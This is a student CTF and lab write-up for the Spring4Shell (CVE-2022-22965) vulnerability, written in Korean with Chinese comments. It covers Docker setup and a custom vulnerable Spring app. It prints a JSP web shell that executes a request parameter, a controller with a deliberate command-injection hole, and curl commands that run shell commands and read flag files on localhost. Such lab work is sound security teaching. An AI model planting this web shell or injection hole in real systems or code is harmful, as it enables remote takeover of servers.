
Spring4Shell (CVE-2022-22965) 취약점 환경 구축 및 CTF 문제
본 프로젝트는 두 가지 트랙으로 구성된 보안 연구 실습을 포함합니다:
참가자는 원격 코드 실행(RCE) 취약점을 통해 단서를 따라 시스템 루트 디렉터리 또는 임시 디렉터리에 있는 Flag를 읽게 됩니다.
# 更新套件庫
sudo apt update
# 安裝 Docker 與 Docker Compose
sudo apt install docker.io docker-compose -y
# 啟動 Docker 服務
sudo systemctl start docker
sudo systemctl enable docker
# 下載 Vulhub 專案
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)
# 進入 Spring4Shell 漏洞目錄
cd vulhub/spring/CVE-2022-22965
# 啟動 Docker 容器
sudo docker-compose up -d
# 確認容器正常運行
sudo docker ps
브라우저를 열어 http://localhost:8080/?name=Hacker&age=99에 접속합니다.
맹목적인 추측 풀이를 배제하고 자체 개발 상황을 재현하기 위해, 본 프로젝트는 독립된 Spring4Shell-Custom-CTF 프로젝트를 생성합니다. 환경을 완전히 정리한 후, 캐시 없이 컴파일하여 시작합니다:
# 清理舊環境
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF
# 建立專案目錄結構並生成全自製 Java 原始碼(含 pom.xml、UserController.java 等)
# 透過雙階段編譯(Maven + Tomcat 9)將自製 Flag 精確放置於系統根目錄 /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d
# 確認自製靶機容器正常運行
sudo docker ps
공격에 성공하면 백도어 파일이 webapps/ROOT/tomcatwar.jsp에 작성되며 그 내용은 다음과 같습니다:
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
%>
자체 제작한 UserController.java에는 의도적으로 POJO 객체 바인딩 방어 결함이 남겨져 있으며, 비인가 명령 주입 채널이 내장되어 있습니다:
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
if (cmd != null) {
// 直接調用 Java Runtime 執行底層命令並回傳結果
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// ... 讀取串流邏輯 ...
}
return "淡江大學資訊管理學系 - 學生期末專案成果展示平台";
}
# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"
# 自製環境控制路徑
curl "http://localhost:8080/?cmd=id"
# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"
# 自製環境控制路徑
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
/tmp/flag.txtFLAG{Spring4Shell_Is_Dangerous}http://localhost:8080/User 객체 유형 포함)이 존재합니다. Flag는 서버 시스템 루트 디렉터리에 있습니다./flag.txtFLAG{2026_0615_iwanttosleep}http://<target>:8080/?name=test&age=123에 접속하여 매개변수 바인딩 기능이 정상인지 확인합니다.tomcatwar.jsp 백도어를 강제로 작성합니다.http://<target>:8080/tomcatwar.jsp?cmd=id에 접속하여 RCE 성공을 확인합니다.curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt"를 실행하여 임시 디렉터리의 파일을 읽습니다.문제 풀이자(역할 B)는 출제자가 제공한 알려진 정보 공지를 바탕으로 추측성 맹목 풀이를 배제하고 표준화된 절차를 수행합니다:
curl -i -s "http://localhost:8080/"
curl -s "http://localhost:8080/?cmd=whoami"
root 신분을 획득했는지 확인합니다.curl -s "http://localhost:8080/?cmd=id"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"
Spring4Shell-CTF/
├── README.md # 專案說明文件
├── docker-compose.yml # 容器編排配置文件
├── Dockerfile # 雙階段編譯映像檔設定
├── pom.xml # Maven 專案設定檔
├── src/ # 自製 Java 成果展示系統原始碼
│ └── main/
│ ├── java/com/example/ctf/
│ │ ├── UserController.java
│ │ └── MyWebApplicationInitializer.java
│ └── webapp/WEB-INF/web.xml
├── secret_zone/
│ └── flag.txt # 本地 Flag 來源檔案
├── screenshots/ # 成果展示與攻擊截圖
│ ├── docker-ps.png
│ ├── parameter-binding.png
│ ├── rce-id.png
│ ├── rce-ls.png
│ └── flag-result.png
└── shell.jsp # 舊版後門檔案原始碼
| 역할 | 이름 | 작업 내용 |
|---|---|---|
| 팀원 A | 황위팅 | 환경 구축, 전체 프로젝트 Java 소스 코드 작성, Docker 패키징, CTF 표준 5단계 문제 풀이 |
| 팀원 B | 리진린 | 이론 연구, 프레젠테이션 제작, 보고 영상 편집, 풀이 대본 정리 |
본 프로젝트는 교육 및 연구 목적으로만 사용하십시오. 승인되지 않은 시스템에는 사용하지 마십시오.